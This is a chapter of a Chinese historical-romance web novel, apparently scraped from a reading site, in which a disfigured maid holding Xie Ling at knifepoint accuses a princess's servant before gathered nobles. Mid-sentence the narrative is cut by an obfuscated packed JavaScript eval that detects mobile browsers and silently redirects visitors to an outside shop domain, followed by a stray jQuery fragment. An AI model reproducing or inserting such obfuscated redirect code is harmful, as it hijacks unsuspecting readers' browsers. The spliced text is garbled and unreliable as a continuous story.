乌云盖顶,风刮得很紧,廊檐下的灯笼被吹得晃个不停,被积雪压得不堪重负跌在地上,发出一声轻响。
谢苓睫毛挂着白霜,视线模糊不清,冷风吹面,呼吸都是针扎似的痛。
她晕乎乎的,闻声又清醒了几分。
满目雪片像柳絮一样飘飘扬扬,堆积在地上,慢慢没过她的足背。
秦璇看着她目露不忍,遥遥一指廊檐,朝菊月道:“本郡主答应了你的求情,不会食言,你可以放了谢苓。”
菊月拒绝道:“谁知我放了她你们会不会反悔杀我?”
“你们这群人,最是言而无信!”
秦璇头一次被她眼中的蝼蚁嘲讽,顿时气结,又觉得跟个文墨不通的疯侍女计较丢了份儿。
她身边的侍女早都看不顺眼这个害自己大冷天出来受冻的疯子,上前一步斥道:“大胆贱婢,居然这么跟郡主说话!”
菊月拿着刀的手一晃,可怖的脸上神情扭曲,恶声恶气道:“再多嘴,我手里的刀可不是吃素的。”
秦璇对侍女说了句“退下”,随后强压着脾气道:“这样,你先带着谢苓去屋里,不然不等你杀她,她也要冻死在这。”
菊月也感觉到了谢苓体温越来越低,假装思索后,点头应了。
谢苓被菊月挟着轻推了一把,她抬起陷在雪窝里的脚,还未走出去,被冻得毫无知觉的双腿顿时一软,身子朝侧边一倒。
这番动静吓得庭中众人惊呼,余有年不管不顾就要大步上前,结果被卢家二兄弟死死拉住。
好在菊月在她侧后方,又是常年干粗活的,力气不小,脚步一挪,撑住了谢苓差点仰倒的身子。
谢苓轻轻动了下灌铅似的腿,强撑着往前迈了一步。
菊月在谢苓身后亦步亦趋,生怕她跌倒撞上刀刃,自己也跟着丧命。
不过五丈的路谢苓仿佛走了几个时辰。
一进殿内,浓烈热气使她冰寒刺骨的身子不由得打了个颤。
冷热交替之下,苍白的小脸瞬间爬上一团浸了花汁似的红。
她低咳几声,纤弱的肩膀随着咳嗽微颤,宛若枝头将枯的梨花。
众人紧随其后进殿,主子们按照身份排坐在大堂的椅子上,坐不下的便差人搬来内室的椅子,随地摆了来坐。
随侍的侍女立在后头,屋内一片寂静,只余炭火燃烧和风雪拍窗的声音。
菊月站在大堂最里侧,脸上的脓疮一冷一热之下开始发痒,她难受得像挠,又怕一松手就漏了破绽,只得龇牙咧嘴忍着。
……
少顷,屋外雪小了,领命的侍卫们带着十几个侍女鱼贯而入。
坐在主位的秦璇站起身,让屋内所有侍女站成三排,冷声道:“过来指认吧。”
菊月有些紧张,后背一层黏腻的冷汗,手心也濡湿一片,滑地几乎握不住刀柄。
她吞了口口水,带着谢苓走到三排侍女跟前,扬声道:“把袖子卷起来。”
侍女们有些嫌恶菊月生疮的脸,怕被传染,但主子们都在,不敢不从,遂纷纷拉起袖子。
菊月挨个看过去,还没看完一排,脚步忽然一顿,停在个身量不高,有些微胖,腕带白玉镯的侍女跟前。
她细细观察着侍女,回忆着当天晚上那人的样貌,随即笃定道:“就是她!”
那侍女一愣,随即慌张摇头,朝秦璇的方向直直跪下,辩解道:“不是我,她胡说八道!”
屋内蓦地静了。
菊月不解其意,在场贵人们的反应与她想象中不同。
不是了然,不是愤怒,而是惊讶之余还有着迟疑。
谢苓只让她放心指认,却没说她们会这般反应。
菊月忍不住抖起来,若不是谢苓还在刀刃之下,她几乎以为对方耍她。
良久,秦璇神色莫测走近二人,问道:“你确定是她?”
菊月不是傻子,知道了这侍女是清河郡主的人,心中有些害怕谢苓保不住自己,但箭在弦上不得不发,只能毫不犹豫重重点头。
再者那日她看得分明,这白玉镯子不是普通侍女能带得起的。
秦璇深吸一口气,甩袖坐回主位,白皙的手重重按在扶手上,目光如刀盯着菊月。
“你说是我的侍女琳琅,可有证据?”
秦璇身为郡主,由长公主教养长大,又常伴在太后身侧,耳濡目染之下,举手投足间的贵气与威仪自是不必多说。
菊月瑟缩了一下,冷汗顺着额头直流,疯狂吞咽口水缓解恐慌,绞尽脑汁想如何证明。
俄顷,她目光一亮,语速极快说道:“她的玉镯上有个人字形的裂纹!”
琳琅猛地抬头,不可置信地看着菊月,不明白对方怎么知道自己镯子裂了。
她脸色倏地涨红,跪在地上一个劲朝秦璇磕头。
“郡主,不是奴婢,真的不是奴婢!”
秦璇眉眼一压,命身边的侍女珍玉把镯子呈上来。
这玉镯是她赏给琳琅的,只不过赏给她时并未有裂纹。
她拿近镯子一看,在外侧看到了一截手指长的人字裂纹。
秦璇眉头一挑,忽然笑了。
有裂纹又怎样,有裂纹就说明真是她侍女?
她只笑背后那人胆大妄为,居然敢打自己的主意。
秦璇把玉镯丢在桌面上,一旁另一个贵女拿起来一瞧,脸色微变,却没有作声,而是轻轻放回镯子。
林华仪见状差不多了,觉得添一把火。
“你这侍女,莫不是眼花认错了人?”
“郡主身份高贵,她身边的侍女都堪比富户的小姐,犯得着收买你去害人?”
菊月到底没在高门大户近身伺候过贵人,不懂这些话里的弯弯绕绕,只觉得听完十分气愤。
她怕郡主,却不怕林华仪,翻了个白眼后把刀又凑近了点,嗓音如沙砾粗哑:“我怎么原因,我若是知道,就不会傻傻被利用!”
秦璇傲气的性子让她眼里揉不得沙子。
她站起身,慢条斯理扫视着屋内贵女公子们的脸,最终停在林华仪脸上。
“你说的对,本郡主身份高贵,哪里需要雇凶杀人。”
“直接动手不就好了。”
林华仪被那似笑非笑的眼神看得心口一跳,她回看对方,像是没感觉到对方的怀疑似的,扬起人畜无害的温柔笑意。
“郡主,这事恐怕另有隐情,”她看向狼狈的谢苓,毯子下的指节轻点着疼痛的腿,语调缓慢:“苓妹妹还是太过纯良,当时没有直接扣下这侍女,才有今日之祸。”
在场之人都听得出她的言外之意。
是啊,当日不发落彻查,拖到今日结果被人挟持,莫不是这件事本就是她自导自演?
可若是自导自演,也未免太能对自己下得去手——本就中了蛇毒,还高热将褪,又冻了那么久,别说是她,壮年男子都未必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222091|151212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扛得住。
谢苓哪管他们心思各异,毫无血色的唇瓣微张,声音虚弱无力:“郡主,事关咱们二人清名,还望您莫要姑息,彻查到底。”
秦璇点头道:“这是自然。”
“我倒要看看,是有人挑拨离间,还是说你谢苓心怀叵测,演了这么出苦肉计。”
林华仪自信此事做得滴水不漏,不信秦璇这草包能查出来,放心地作为看客,在一旁若无其事喝茶,时不时出声煽风点火。
秦璇拽下腰间的玉佩递给珍玉,叫她拿给菊月,说道:“放了她,这玉佩是我母亲的,见此玉如见长公主。”
珍玉把玉佩拿起来给菊月看。
菊月仔仔细细查看,看到玉佩边角上长公主的封号后,心中信了几分。
但她没得到谢苓暗示,还不敢松手。
正纠结着,就见谢苓低垂的小指微微勾起,又缓缓放下,动作十分自然。
菊月得了暗示,朝珍玉道:“把玉佩放地上。”
珍玉照做,把玉佩放在距离她两步的地上,后退到秦璇侧后方。
菊月缓缓半蹲下来,快速捡起玉佩,然后一把推开谢苓。
哪知道她没控制住力道,谢苓又实在虚弱,竟然膝盖一软朝地上摔去。
紫竹一直紧紧盯着二人,见状一个箭步上前扶住了谢苓,一旁的珍玉也帮着搀扶。
谢苓此时狼狈至极,乌发上的雪被屋内的热气融化,发丝被淋湿,丝丝缕缕黏在腮边。
她身上的衣裙和鞋袜也被打湿了不少,好在冬日衣裳料子厚,并没有让她失态。只是衣物沾了水变得有些沉,冰冷冷、湿漉漉地贴在身上,十分不舒服。
紫竹是个细心的,她一边扶着谢苓,一边屈膝行礼道:“还望郡主允许奴婢给苓娘子换身干爽的衣裙,不然我家娘子怕是会加重风寒。”
秦璇颔首,算是应下。
谢苓投以秦璇一个病气的笑,由紫竹搀着往内室走。
离隔门还有几步时,她忽然回头,认真看着林华仪道:“我们谢府有个府医,现下正在山庄,苓娘听说他最擅毒术,有种极妙的药粉,只要有人五日内用手碰了毒,无论什么品种,只要撒上药粉,都能显出异常。”
“这人或许对郡主彻查此事有所帮助。”
说罢,她也不管其他人作何反应,拍了拍紫竹的手,拉回了对方呆愣茫然的思绪。
……
谢苓一走,殿内又安静下来。
秦璇坐在主位上,端起侍女将上的热茶,撇去浮沫轻呷了口,对谢苓的话若有所思。
没听说谢府有这等奇人,也不知谢苓此计是想脱身,还是真想查出真相。
她沉思片刻,决定信对方一次,于是放下茶盏,吩咐珍玉道:“去把谢府那个府医唤来。”
林华仪垂眸敛下眼底的轻蔑。
她不信谢府有这等奇人,若是有,珩哥哥能不告诉她?这八成是谢苓故意诈她的。
也就秦璇这蠢货信。
正当她准备开口表示质疑时,忽有小厮叩门三声前来通传。
“各位贵人,谢大人来了。”
林华仪眼中划过喜色,用手摸了摸鬓角,摆出病弱又温婉的姿态,抬眸朝殿门望去。
小厮拉开殿门,恭敬退到一旁。
那人手执青伞,身着玉色大氅踏雪而来,眉目秾艳,气质却矜贵疏冷。
只是他唇色微白,带着几分病气。